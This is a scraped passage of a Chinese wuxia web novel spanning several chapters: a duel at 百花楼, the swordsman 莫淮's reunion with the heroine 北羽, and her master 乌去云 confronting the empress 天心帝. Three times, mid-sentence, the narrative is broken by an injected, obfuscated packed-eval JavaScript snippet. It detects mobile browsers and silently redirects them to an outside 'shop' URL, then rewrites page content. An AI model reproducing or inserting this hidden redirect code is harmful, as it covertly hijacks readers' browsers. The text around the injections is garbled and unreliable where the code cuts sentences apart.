没有了黑暗,北羽终于看清斐翠然的招式,他的真气酷似黑色粘液,内力也是北羽未曾感受过的,阴潮渗着毒汁。 绵密的剑影,蕴含神威,竟破不开缠绕斐翠然的护体真气,它们藤蔓般牢牢扒紧斐翠然,像套盔甲。 “莫淮!你在等什么!跟我一块揍他!”北羽理直气壮道。 吟风剑起势,荒原上的寒风袭来百花楼,万千风刃劈头盖脸砸向斐翠然。 斐翠然轻轻皱眉,强大如他,可以凭借对太上忘情剑法的熟悉,克制北羽,但吟风剑是一把世人皆陌生的名剑,威力几许,尚未可知。 看着空中风刃,北羽一笑,借吟风剑的剑势,再次使出她的仙剑术。 “太上忘情剑法第二式,白马吟!” 这一回的白马吟终于恢复了千军万马呼啸杀来的压迫,哪怕是躺在地上昏迷中的唐引琼,都头皮发麻,眼皮颤抖。 莫淮后退三丈。 斐翠然直面迎击,空手接下此招,飞扬的墨发断了几缕,褐色衣袍上镶嵌的宝石粉碎成末。 他大笑起来,“哈哈哈,你挥剑的模样,倒是有点神似乌去云!” 剑气被挡下,四处散开,百花楼吱呀作响四分五裂,莫淮捞起唐引琼撤离。 宽阔平原,残木高堆,尖端立着两道人影,北羽面无表情,斐翠然似笑非笑,他的衣衫已经有了密密麻麻的破洞。 “你的实力没有超出我的预期,北羽。” “你的阴险胜过江湖流传的程度,斐翠然。” 高手过招,总是不喜欢牵连太多人,更别提拿无辜者性命当儿戏。 斐翠然把她约到商人云集的百花楼,制造惊慌拥堵,令她吃尽暗亏,若非莫淮现身,此局难破。 想到楼里的尸体,她非常后悔来赴这场约。 “当年你掳走我之后,对我做了什么?竟然要用忘忧草让我忘记那段日子。” “呵,这可是个秘密。让你师父来问我吧,我一定告诉他。” 说罢,斐翠然拂袖离去。 北羽站在原地,攥紧拳头,事实无法改变,斐翠然是镜悬大陆排号第四的强者,她不是斐翠然的对手,加上个莫淮也不够。 她跳下废墟,来到莫淮身边,“唐引琼怎么样了?” “只是昏迷。”莫淮道。 “白天你怎么不直接见我?” “……吟风剑不乖,差点伤了你,我看你生气了,没敢见你。” “这话说的,好像我脾气很坏。” 北羽俯身去摸唐引琼的脉搏,平和有力,正如唐引琼所料,斐翠然没有伤害他,但也没有让他帮她的忙。 唉,唐引琼啊,唐引琼,你何苦跟来这一趟呢。 北羽喟叹一声,提着残仙去废墟里找遇害者的尸体,莫淮跟在她后面。 死去的十几个人,有窒息而亡,有遭践踏而亡,北羽和莫淮把他们的尸体摆成一排,明天太阳升起后,将有人来寻他们。 怕野兽跑来啃尸,北羽把残仙剑插在了尸体旁边,莫淮见状道:“用吟风吧。” 吟风剑轻鸣,表示不满。 莫淮选择无视,把吟风剑往地面一插,将残仙拔出递给北羽。 北羽不语,只是看着他,时间久到莫淮怀疑他脸上是不是有脏东西。 “你胖了。” 她忽然道。 莫淮下意识摸脸,有吗? “为什么来乾元城?”北羽问道。 “来找你,你走了两个月,我……很想你。”莫淮听见了自己的心跳声。 北羽去摸吟风剑,通体纯黑的剑,材质酷似玉石,月光之下,微微透明,“在找我的路上,顺便去东海取了天下十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491639|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名剑之一?风吟谷那么危险,受伤没?” “还好,都痊愈了。”莫淮神情骄傲,期待着北羽的反应。 北羽冲他笑了笑,“够厉害,一下子拥有了名剑。” 天下十名剑以东海剑仙留下的残仙剑为首,劈开东、西二海的开天辟地之剑定海为次,其余八柄名剑不分排名。 吟风剑自铸成便落在风吟谷里,借万千旋风滋养剑势,是一柄锋芒毕露的剑。 北羽:“我们该找个偏僻的地方比上一场,吟风一直在动,它感受到了残仙。” 莫淮怎么肯跟北羽动手,“不用管它。” 他一巴掌拍在吟风剑身上,吟风剑呜咽了一声,收敛剑势。 北羽笑了,“看来你跟你的剑,有待磨合。” 莫淮有些顽皮道:“它在风吟谷野了几十年,来个人就砍,现在突然被我制服了,难免不忿,我再打它几天,它就老实了。” 玩笑开得都比从前溜多了,看来,莫淮的东海之行很精彩。 月色清冷。 莫淮背着唐引琼,同北羽朝城里走去,自从见到北羽起,他脸上就一直挂着笑容,眼神也始终追随她。 打北羽离开天枢城,他的每一天都过得无比缓慢,直到坐上去东海的船,方且好些。 “百花楼那么混乱,还有个斐翠然虎视眈眈,你怎么做到救人的?”北羽道。 莫淮:“我能看清黑暗中的事物,当时我混在一个东海商人的随从中,离你跟唐……公子很近。灯灭后,唐公子跟一个瘸腿矮子纠缠,被矮子拿锥子刺晕了。” “百花楼地下有密道,我见矮子的手下要运走唐公子,便去密道抢人,并且拿了个火把。” “斐翠然的精力都放在你身上,没有注意到我,我就趁机暗伤他,劈开了百花楼。” 岂止斐翠然没有注意到莫淮,她也是,之前莫淮曾跟踪过她和海刀夫子,同样没被发现。 “你的跟踪本领也太高超了吧?” “……其实,有时候只要我不想别人注意到我,那就真的不会有人发现我。” 北羽眼睛都睁圆了,“这么神奇?” “特别奇怪才对。”莫淮不自然地扭扭脖子,“你见到月冷花了吗?如果你要去见他,我跟你一起,这个人最近的处境太危险了。” 北羽停在原地,惊讶望着莫淮,“你怎么知道月冷花最近很危险?” 罗刹堂刺杀天心女帝的消息分明被封锁了,根本没有外流。 莫淮不解道:“很多人都知道啊。” “罗刹堂北境分堂主月冷花,借神机阁、百晓堂等情报组织,向天下人喊话,要退出罗刹堂,月冷花的仇敌,已经全部出动,赶来乾元城杀他。” “什么!” 北羽脸色骤变。 月冷花前不久刚在南境皇宫受了重伤,至少半年才能康复,何来胆量如此行事。 他要是死了,师父会相信她的一面之词吗。 北羽不自觉回忆起月冷花的面孔,突然,她的头猛地刺痛,莫淮立马扔掉背上的唐引琼扶住她。 “北羽!你怎么了!” “我……我……” 北羽捂着头,紧闭双眼,一幕画面在她脑海闪过。 衣衫雪白的少年,眸光潋滟,俊秀似翠竹,手捧糖果看着她,旁边的赤衣男子,嘴角歪勾,同样也在看她。 梦中模糊的两张脸,此时无比清晰,正是月冷花和斐翠然。 北羽惊出冷汗。 43. 卷二·南境演武 乾元城,来福客栈。 斐翠然盘腿端坐运功,黑色真气丝丝渗入伤口,血痕以肉眼可见的速度愈合。 月冷花坐在床边,抱臂旁观,“神魔策着实妙不可言。” “这门功法的奥妙还多着呢。”斐翠然懒散掀起眼皮,看向左手掌心的伤痕,这是愈合最慢的一道伤。 吟风剑的新主人不寻常呢。 月冷花:“乌去云仍在闭关,何必去为难一个十几岁的孩子。” 斐翠然翻了个白眼,“再过个一年半载,北羽就会超越我,世上有这么强的孩子吗?” “把心思放在你自己的事上吧。你的仇人多如牛毛,哪怕这一次来的人全被我杀光,你也不一定能全身而退。” 他瞥了一眼月冷花,“罗刹堂成立几百年,至今尚未有过金盆洗手安度晚年的杀手。” 月冷花推开窗,望着空中明月,“我会成为第一个。” “希望你九泉之下的姐姐庇佑你。”斐翠然躺到另一张床上,摸着脸上的黄金面具,回味百花楼一战,北羽确实有几分故人之姿。 对面的月冷花倏忽道,“你当真决定把当年发生的事告诉乌去云吗?他那么疼爱北羽这个徒弟,一旦知道北羽经历了什么,恐怕……” “害怕乌去云一怒之下,把你也杀了?放心,不会的。他连我都没杀,何况你,你可是他心爱女子的弟弟。好好养伤,五天之后,有场恶战等着你。” 斐翠然摘掉面具,屏风后的月冷花指间抚过剑柄。 了结过往十几年的恩怨,究竟要付出多大的代价呢,罗刹堂已经惨败,他会成功吗? …… 天色将白,雾蒙蒙的青蓝。 莫淮背着北羽,拖着唐引琼,就近找了家客栈住下。 他刚要去请医师,唐引琼醒了过来。 “你是……莫淮?” 唐引琼震惊看着眼前少年,虽然伍师叔早就告诉他,北羽身边多了个“朋友”,样貌与学宫的玄北离极其相似,但没想到,竟然这么像。 只是,纵然容颜有七分相似,气质却天差地别。 莫淮给人的感觉,是飘着忧愁的冷淡,玄北离则是高贵的疏离。一个是流浪的孤僻剑客,一个是浊世的清贵公子。 唐引琼本来不信北羽会对一个平平无奇唯独脸蛋好看的男子产生好感,但如今一见真人,他不得不承认,莫淮的确是招女孩喜欢的那类。 莫淮淡淡撇他一眼,“你的衣服被磨破了,我会赔的。” 唐引琼这才发现衣袍后摆多了大洞,“无妨。北羽怎么了?” 他半跪下去为床榻上的北羽把脉,莫淮不由紧张,“如何?” “她疲惫过度,惹得残存在体内的唤魂草起效,休息三个时辰便无碍了。”唐引琼松口气,推窗望了眼天色,转身对莫淮道,“莫公子,我必须走了,若北羽醒后有事找我,去药铺即可。” 莫淮微不可察地点头,搬了个圆凳靠在床头,唐引琼心道,这人哑巴似的,也不知哪里打动了北羽。 离开来福客栈,唐引琼直奔百汇药铺。 薄薄白雪从天空落下,昨日药铺连绵起伏的争吵声化作寂静。 唐引琼如释重负,路过东厢房时,原本无人居住的屋里竟然亮着灯,他疑惑敲门,“小师叔?” “是我,进。” 他推门而入,雨娉婷尖叫,“别开那么大的门!冻死了!” 她长袖半卷,正给右肩的伤口上药。 唐引琼不可思议,“阎娑风打你!” “哼,给他吃一万个熊心豹子胆,他也不敢。”雨娉婷将染血的纱布丢进水盆,“姓阎的跑了,我没追上,心里憋着气。想着来南境一趟不容易,就拐了个弯,去相府找辰雪雪打了一架。” 唐引琼习惯了小师叔的想一出是一出,不过,辰雪雪已经是羽化境,雨娉婷只是虚空境,讨不到便宜的。 “打得过瘾吗?” “既有惊喜,也有失望。” 雨娉婷拿起新的纱布,往上涂药膏,“你一句话都不说就消失,肯定是找心上人去了。北羽有搭理你吗?” 唐引琼轻叹:“她遇到麻烦,我赶着帮忙,却露了怯,都怪我技不如人。” 雨娉婷瞄了他几下,“你没挨打啊。” “……碰上一个用蛊施毒的高手,被放倒了。” 雨娉婷略感震惊,唐引琼的毒术造诣,远在他的武艺之上,否则也不会被唐门视为百年来第一天才。 能在毒术上胜过唐引琼的人,必是个狠角色。 “那人什么样子?” “一个瘸子,看不清容貌,眼睛是绿色的。看他以蛊运毒的手法,大约来自东海蛊林。” 斐翠然已经是绝世高手,还带了一个蛊毒高手,北羽该怎么应对他们,唐引琼不禁担忧,“小师叔,我要在乾元城多待几天。” 雨娉婷:“哦,不巧,师尊刚刚传信来,喝令我们马上动身,务必在除夕夜回到无极宫,陪他老人家过年。” “师尊年纪大了,活一年少一年,我们做小辈的,当以长辈为先。” 唐引琼:“不行,北羽这回碰上了大麻烦,我要帮她。” 雨娉婷笑了笑,手掌托着腮帮子,饶有兴趣地打量他,“今晚你有帮上她的忙吗?” “没有。” “那你有实力击退她的敌人吗?” “……没有。” “傻师侄,镜悬大陆年轻一辈就数北羽最厉害,厉害的女人不需要男人无聊的保护、无谓的牺牲,帮不了她又硬往上凑,只会讨嫌。” 在雨娉婷眼里,唐引琼就是个毛没长全的生瓜蛋子,前些天,一听伍行烈说北羽有喜欢的人,就急头白脸跟着她来南境,耐力实在差。 “师叔我是过来人,感情不是豁出命去,就能换来的。用你的脚趾头想想,北羽入了羽化境,眼界心境已经更高一层,抓紧时间跟上她,才是你的头等大事。” 唐引琼:“但我也不能一走了之啊!” 雨娉婷微微一笑,“师尊传信的最后,提到一件大事,你听了便能安心和我回无极宫了。” 她勾勾手指,唐引琼半信半疑坐过去,雨娉婷低声说了句话,唐引琼瞳孔陡然放大,稍作思索,便点头答应天亮后返程。 …… 小雪纷纷,冷寒霜刃,耸立其中的来福客栈,安静温暖,隔空相对的两间天字客房,歇着四位异乡客。 北羽睡得最香,起初她是晕了,后来困到没醒来就睡过去了。 莫淮毫无睡意,认真仔细数着北羽的睫毛,一遍又一遍,不嫌烦。 月冷花根本睡不着,忆起南境皇宫的血海一战,囫囵想着心里事。 斐翠然眯了会,被耳边嘁嘁喳喳的动静吵醒,他捏死一只莹绿色的虫子,搭上外衫,从窗户跳下,踏入雪地。 等待他的颀长人影,躬下身子,“教主。” “你来晚了。”斐翠然睥睨着眼前人,“本座还以为你跑了。” “教主慈悲,辛辛苦苦救我一命,我自当投桃报李,只是唐门的毒不容小觑,花了些时间化解。” 斐翠然哼了声,这个小瘸子鬼心肠颇多,若非此行需其协助,他才懒得理这个浑身是蛊的瘸子。 “探子回报,你师父鬼棽已经离开黑蛊林,不日将抵达乾元城。这个老家伙尤其难缠,本座可不想在混战中吃他的暗算,你知道该怎么做吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506996|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然。我绝不会让鬼棽师父阻碍教主,也不会让他接近月堂主。” “鬼棽师父一心只想杀月堂主,为子报仇,岂能料到我这个叛徒敢埋伏他,他已失先机,必将在我手中丧命。” 斐翠然笑了,“雪千紫,你很自信。别忘了,杀鬼棽之前,弄到本座要的东西。” “一定。”雪千紫的绿眸里闪过诡异的光芒,“只是教主,拿到它就会成为辰氏的眼中钉,代价未免有些大……” “请教主三思,毕竟,并非是您自己需要它。” 斐翠然不屑歪头,“辰氏?本座早把那对兄妹得罪透了,不差这一桩。” 他向前几步,眺望远处层层叠叠的密林,失去翠叶的枯木,盖上一层雪衣,竟也显得纯洁。 或许这场冬雪的滋润,能使枯木逢春。 “那个东西对本座很重要,有了它,本座才能去面对一位故人。” …… 雪亮的太阳笼罩苍苍白林,积雪融化,屋檐冰锥滴答滴答,叫醒了北羽。 她睡了十天来最好最安稳的一个觉,睁眼就看到一张绝色俊容。 她盯着趴在床边的莫淮看了会儿,轻轻一笑道:“少装了,你没睡。” 莫淮抬起头,额头泛着压红的印迹,北羽怎么看出他装睡的。 “唐引琼呢?” “回药铺了。” 北羽蹬上鞋,捧起铜盆里的水洗脸,“那我们也走。” 客栈大堂内,零星几个商旅在吃早饭,她找其中一人买了匹马,莫淮见状道:“买两匹吧,我有钱的。” “咱们又不常骑马,买了两匹,明天就要卖两匹,多麻烦。”北羽摸了摸白马的鬓毛,马身健硕,马眼炯炯有神,竟有几分像江吟歌骑的那匹马。 她有段时间没听见过江吟歌的消息了。 南戏霖躲起来后,就没人成天跟她讲五湖四海的八卦了,也不知道,他什么时候回来。 北羽翻身上马,莫淮坐到她后面,白马载着二人悠悠前行。 穿过宁静雪林,便是热闹集市,北羽问莫淮,“你饿吗?这附近有一家羊汤不错。” “我不喜欢吃羊。从前东海斗兽场会把野兽吃剩的死羊骨头丢给兽奴,当作一次饭。”莫淮平静道。 北羽诧异眨眼,之前在天枢城,她还拉着莫淮去吃烤羊肉呢,难怪当时他吃的不多。 莫淮拍拍马背,马儿停住,他下马去到一个卖炸货的小摊前,买了两个炸鱼饼,递给北羽,“我在东海吃过这种炸鱼饼,很好吃。” 北羽咬了一口,嫩鱼肉混着放了酱汁的面糊,简直鲜掉牙,她含糊不清道:“莫淮你变了。” 莫淮笑道:“变好还是变坏?” “当然是变好了。”北羽一边消灭鱼饼一边道。 刚认识莫淮的时候,他像河蚌,紧闭自我,只愿意跟她说话,对任何事物都不提意见,哪怕她塞条蛇放进莫淮衣服里,他也只会点点头。 而现在,莫淮不仅知道自己喜欢什么,不喜欢什么,还敢面对过去。 果然,人要成长,还是得闯荡江湖。 鱼饼把北羽吃渴了,莫淮去为她买糖水,突然,一个年轻姑娘撞了她一下,往她手里塞了个纸团。 北羽打开一看,顿时来了劲。 南戏霖这个家伙,终于肯见她了! 整个乾元城,她最挂心的人莫过于南戏霖。 莫淮带着糖水回来,她灌了几口,说道,“我有件急事要办,马给你骑,回头我再找你玩。你住哪里来着?” “四方馆往东五百米,迎客来。” “好,我记住了!” 北羽一溜烟儿跑没影,莫淮带着笑意,目送她远去。 44. 卷二·南境演武 北羽先后见了六个人,才找到南戏霖的藏身之处,一间狭小阴湿的私牢。 走进去的时候,一只干瘦的老鼠爬过她的鞋面。 南戏霖裹着破草席盘腿坐在炕上,一见她便急匆匆道,“斐翠然有伤到你吗!” “啊?”北羽愣住,南戏霖从何得知昨夜百花楼之事,难道…… “你派人跟踪我!” “我也是担心你。”南戏霖道,这些天他避开天心帝耳目的同时,也关注北羽的动向,怕她孤身一人撞上祸事。 若不是斐翠然凭空找上北羽,他也不会匆忙约北羽相见。 “下不为例!”北羽勉强找到能坐的地方,“既然你都知道,那我就长话短说。” “我担心天心女帝对你下手,也担心斐翠然对我下手,咱们别参加演武了,尽快离开南境回学宫。” …… “我这边的问题倒是解决了。” 南戏霖从怀里掏出一个信封,“三天前,我托人送了封信给天心女帝,她已经回了,我不用再东躲西藏了。” “啊?”北羽歪歪头,自从来了南境,她平添许多困惑。 “你都写了什么?” “真相。我告诉她,我并不是白鹤忠的儿子。” 北羽呆滞了几秒。 “什么!你!那你是?!” 南戏霖苦笑道:“我爹叫南安,我娘叫翠宁,一个是白府的马夫,一个是白府的婢女,我是他们的儿子,跟白鹤忠半点关系也没有。” 北羽万分震惊,“那日在殿上你怎么不讲?” “那日情况危急,就算天心女帝知道我不是白鹤忠的儿子,但我的父母确实都死在白府,她定然以为我把她视为仇人,依旧会杀了我以绝后患。” 南戏霖拉过北羽的手,“是你的话动摇了她杀我的决心,给了我一个缓冲的时间,让我能够写信打消天心帝的杀意。北羽,是你救了我,谢谢你,真的谢谢你。” 北羽将另一只手搭在他们相叠的手上,“咱俩谁跟谁,换做是我遇到危险,你也会救我的。” 南戏霖笑了,“自然。不过,那日你说拿我当兄弟,那我是你哥,还是你弟呢?” “有良心,就少占我便宜,当我弟弟!”北羽哼了一声,“话说回来,白鹤忠的儿子去哪了?你真的不报仇了?” “当年,老爹赶来南境救白戈之时,顺便救了我,从那以后,我就再也没见过白戈。我猜,他大约生活在一个很安全只有我老爹知道的地方。” 至于真的不报仇了吗,那就一言难尽了。 南戏霖抠着身下草铺,抽出一根干枯瘦弱的小草。 当年一场熊熊大火,点燃了整个白府,他躲在水缸里,越来越热,越来越热,满脑子都是被一剑砍掉脑袋的爹娘。 他娘那时怀孕,都显怀了,他爹声嘶力竭地求官兵放过他娘。 官兵说去请示将军,回来之后,一剑砍了他双亲的头,连带着他未出世的姊妹,命赴黄泉。 当时他就在想,到底是怎样狠心的将军,连未出世的孩子都不放过,又是怎样狠心的帝王,连一群本就生存不易的仆人都要赶尽杀绝。 十年过去了,记忆中那场大火仍在燃烧,他终于见到了自己的仇人,但却无力去报仇。 韩誉年是天心女帝的心腹大将,左膀右臂,世上没几个人能杀这厮,敢杀这厮。 他天生经脉受损,难以习武,有心报仇,无力为之,他有生之年能做的,似乎唯有熬死韩誉年。 “天心女帝不年轻了,韩誉年也不年轻了,但是我还年轻,等他们死在我前头,就算我报仇了。” 南戏霖只能给出这样的答案,也许,他注定是一个不孝子。 北羽想了想,“如果我真能成剑仙,我替你报仇。” “不,别这样。”南戏霖拒绝她。 “即便你真的白日飞升,还有家人师门在镜悬,我不想因为我的仇,连累身边任何人,尤其是你们四个。” “等回了学宫,你也不要告诉他们我的身世。只要有机会,我会自己去报仇。” 北羽点点头。 南戏霖:“说完我的事了,你的呢?你见到月冷花了吗?” 北羽的脸拉成长条茄子,将她被月冷花耍得团团转的经历一五一十说出,包括她复苏的童年记忆。 “这个狡诈的刺客竟然跟斐翠然狼狈为奸害过我!亏我还花了一年时间找他,甚至救了他!” “没了人证,师父肯定不会轻信我的一面之词,竹篮打水一场空。” 努力化作徒劳,北羽无语至极。 南戏霖道:“月冷花伤势不轻,却有胆量朝江湖喊话,要退出罗刹堂,引四处仇敌动身来杀他,恐怕是仰仗了斐翠然。” “既然,你不想与他们牵扯,今天我们就打道回府。” 北羽:“这么急?” “夜长梦多,既然决定好离开了,就马上走。”南戏霖站起来,抖掉黏在衣服表面的草籽。 “不聊这些糟心事了,年关将至,我们出去买点南境特产,带回学宫给一片他们几个。” 北羽:“你如果心里难受,我一个人去买就行。” 南戏霖淡淡笑道:“我不是那种困在过去的人,我记得仇恨,但不想被仇恨困住。我能活到今天,是运气也是命运,我不想辜负生命的每一天。更何况,过年是大事,辞旧迎新嘛。” 听他这么说,北羽才敢露出笑容,她真怕南戏霖从此郁郁寡欢,毕竟,聪明人一旦悲伤起来,最难哄了。 ……… 年关在即,乾元城里十分热闹,大街小巷挤满了人,摆货的摊子流车数不胜数,北羽蹦蹦哒哒走在前面,一会儿看看这个,一会儿摸摸那个,南戏霖跟在后头,散漫走神。 一个挂满木雕的架子吸引了北羽的眼球。 精巧的生肖木雕穿着小红布衣裳,圆头圆脑的猴子,顶着双角的牛,踏蹄欲驰的马,机灵竖耳的兔子,都十分生动可爱。 它们一个挨着一个,有风吹来,梆梆地响,跳舞似的。 老板笑容满面:“这位小姐看着不像本地人,在我们乾元城有一个风俗,每逢年关大家伙就买一个自己属相的摆件,刻上吉祥话,祈求来年好运。” 北羽思索道:“那我要买十一个!” 老板立刻乐得合不拢嘴,“好!好!您随便挑。” 他拿了一个红布兜,北羽每挑一个,老板就按她的意思刻一句吉祥话,然后放进兜里。 南戏霖:“怎么买这么多?” “还好吧。我就给你、玄北离、云笙弦、叶一片,我师父,我娘爹,海刀夫子、苏老师,还有莫淮跟我自己买。” “对了,海刀夫子和苏老师属什么?” “虎和龙。你竟然还给莫淮买,看来你们关系够好的了。有机会我见见他。” 南戏霖随口一说,北羽却心虚起来,打哈哈道:“莫淮有什么好见的,他很腼腆的,也就跟我多说两句话,碰上外人直接变哑巴。” 恰巧,老板问道:“小姐,最后这个刻什么?” 瞧着要送给莫淮的小兔子木雕,北羽心虚地咳嗽两声,“人生不相见,动如参与商。今夕复何夕,共此灯烛光。” 南戏霖若有所思,“你对这个莫淮是不是……” 他的话尚未说完,北羽猛然抬首,蓝天之中,一道耀眼白光划破天际,周围百姓爆发一阵阵惊声。 “快看!天上有流星!” “流星朝皇宫方向去了!” “这必然是神谕,是奇观!天佑皇上!天佑南境!” 南戏霖纳闷,“世上真有天降流星?” “不是星星,是人。”北羽压抑着内心的激动,拽住他的袖子,“替我们撑腰的人来了!” …… 南境皇宫。 甜香四溢的暖阁里,辰阕夜半卧榻上,手捧兵书,一名着薄纱的绝色男子素手弹琴,潺潺流水之音从玉指间泄出。 “陛下,您最近怎么喜欢看兵书了?” “兵书讲的是御军之道,这本三十六计是昔年兵帝所作的孤本,其中不仅讲行军打仗,更暗含了御下治国的道理。治大国若烹小鲜,其中分寸最为重要。” 一名内监心急火燎冲进来,“禀陛下,有人冲皇宫来了,三位尊者已经挡在宫门外了!” 辰阕夜眼神一凛,“放肆!” 她话音未落,一道人影闪现在阁内,稳稳落坐椅子。 阁内众人大惊,绝色男子扑到辰阕夜身前,“快来人护驾!” “……不必了。”辰阕夜眸光冷厉,“全给朕滚!” 阁中宫人敛声屏气退下。 白发雪衣的男子静静看向辰阕夜,他的脸庞晶莹剔透如冷峰雪莲,高洁纯净,不容一粒尘埃玷污,银白的发丝根根亮泽,眼眸点了漆一样的黑。 说他年轻,因为他实在清俊秀美,宛如十七八岁的少男,说他不年轻,因为他确实有了年岁,气质不复少男的朗脆。 “天心帝,许久未见了。” 辰阕夜慢悠悠回到龙榻,“白发剑圣好兴致,一出关就不远万里赶来跟朕打招呼,够有雅兴。” 乌去云淡淡道:“天心帝,我曾经说过,若罗刹堂再敢对我的徒弟动手,我就会把它夷为平地,同时,我也会让辰氏一族披麻嚎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506997|202258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丧。” “你是在威胁朕吗。”辰阕夜挤出的一点点假笑随风飘散。 乌去云不接她的话茬,反问道:“罗刹堂和神机阁都是辰氏的势力,二者联合起来几次三番要我徒儿北羽的命,你不打算给我一个解释吗。” 辰阕夜撇了他一眼,“夸张了,就两次而已。” 乌去云也撇她一眼,“天心帝,这里只有你我,放下无聊的皇帝架子,坦诚些吧,何必拿你宝贵的生命开玩笑。” 辰阕夜气笑了,修仙剑术的家伙,都这么讨人厌,偏偏他们都有放肆的资格。 “北羽的事都是天机老人在背后指使,他已经死了,死在北羽手中,并且死无全尸!乌去云,你还管朕什么解释!” 乌去云冷冷盯着她,“我真好奇,你们姓辰的,为什么总盯着我们师徒,你哥哥这样,你叔叔也这样。” 辰阕夜昂首冷笑:“那你去问他们,朕可不稀罕什么仙骨!” “这话听着不怎么可信。”乌去云别过头去。 辰阕夜用看死人的眼光看着他,“你大可不必疑神疑鬼,有本事就拔剑,朕倒要瞧瞧,传说中的太上忘情剑法究竟多强。” “你会看到的,因为你请了我徒弟参加演武。” “再会,天心帝。” 乌去云瞬间消失在暖阁,正如仙人般随心所欲地出现,随心所欲的消失,无人能奈何他,哪怕是威震天下的天心帝。 辰阕夜抓起手边茶盏,砸了个粉碎,一抹身影闯进暖阁。 “姑姑,你没事吧!” 寒冬腊月里,辰雪雪急得满头大汗。 “没事。” 辰阕夜呼出一口气,替辰雪雪整理衣领,“瞧你,急得扣子都系错了。” “姑姑,乌去云太过肆意妄为!竟敢擅闯皇宫!”辰雪雪气到声音变调,小鸭子似的。 “他是曾经的天下第一,想闯哪就闯哪,无人能拦。”辰阕夜锤了下御案,“要怪就怪哥哥和叔父,一个两个,脑子抽风似的,总跟这些修仙道的过不去,也不知图什么,平白叫我受气!” 辰雪雪垂首,“叔公他也是为了活命。” “都一百二十多岁了,还活呢。要是把他的能活劲分我一半,镜悬大陆早晚跟着我姓辰。上苍无眼,竟赐无能者长寿。”辰阕夜翻了个白眼。 “……这么说,会不会太伤他了?” “伤他个鬼。” “若不是当初哥哥贸然下狱,神机阁动荡,必须要吊住叔父的命稳住局面,他早躺进棺材,尸骨成灰了。” “谁成想,老匹夫越老越糊涂,胳膊肘往外拐帮着罗刹堂对付我,北羽不杀他,我也要撕了他。” 想起这桩事,辰阕夜就气。 辰氏一族统共没剩几个人,结果还闹起窝里斗的糟心事,要不是看在天机老人曾经为她登基献过一份力,她连碑都不想给他立。 男人就是胡子长见识短。 哪怕她哥哥也不能免俗。 武功废了就废了,她不懂武功,照样成了一国之帝,但她哥哥愣是咽不下这口气,总打乌去云和北羽的主意。 又是毁剑心,又是绑架小孩,净搞些上不了台面的手段。 辰氏一族的大好前途,都是让犯蠢的男人搅没的! 此时,一名内监进来通报,“禀陛下,太子殿下听闻贼人闯宫,特来入宫护驾。” “让他滚,告诉他,朕还没死。” 辰阕夜暂时没有心情理会这个不跟她一条心的好儿子。 她冷脸道:“雪雪,知不知道你师父这辈子做过最蠢的事是什么?” 辰雪雪惊讶,“师父绝顶聪明,怎会干蠢事?” “智者千虑,难逃一疏。” “哥哥胸有大志,足智多谋,在我被寻回辰氏之前,他一手包揽多方势力,运筹帷幄,神机妙算,连那些星宫的家伙,都被他狗一样地耍。” “可惜,他下黑水狱被废武功后,脑子开始不清醒,贸然用了斐翠然这个忘恩负义的小人掌握东海势力,以至于被斐翠然牵着鼻子走,狠狠摆了一道,丢了魔教大权。” 辰雪雪震骇不已,“我从未听师父提起过这些事。” “这是哥哥少数的败笔,他岂会跟你提。” 辰阕夜挪步棋盘前,捻起一枚黑子。 想当年,斐翠然借她哥哥之手,精心谋划了一场针对乌去云的美人计,费尽心机只为斩断乌去云的剑仙之路,绝对是一个实打实的神经病。 被斐翠然毁掉人生,却不杀斐翠然的乌去云,更是个神经病。 这两个神经病,一前一后来到她的乾元城,还不知道要演哪出呢。 45. 卷二·南境演武 乾元城,神武街道。 “出关万里赴皇城,宫内天子闻声动,白发剑圣当真是传说中的人物。”南戏霖笑道。 “师父他老人家窝在圣剑山上太久了,也该下山活动筋骨,照顾一下我这个唯一的宝贝徒弟。”北羽昂首挺胸,再不把斐翠然和月冷花当一回事。 什么魔教教主、罗刹堂主,现在有师父罩着她,赶明儿,她就让师父把这二人揪出来吊着打,仔细审一审,他们对小时候的她做了什么。 北羽:“不过,师父怎么突然就出关了呢?求助信是我昨夜刚写的。” 南戏霖:“白发剑圣许是读了几个月前我老爹送去圣剑山的信,知晓了你被神机阁、罗刹堂追杀的事。” “大约如此。你先回去,我再逛逛。” “白发剑圣肯定在四方馆等你,你不着急见他?” “哼,他闭关八载,我也算等了他八载,如今让他等等我,又有何妨?” 北羽将头一甩,往人声鼎沸处走去,南戏霖只好独自先回了驿馆。 北羽才没空闲逛,直奔莫淮住的客栈,谁曾想,半路就撞见了提着一兜果子的莫淮。 她扑上去,咧嘴一笑,“快把你在东海取剑的故事讲给我听!” 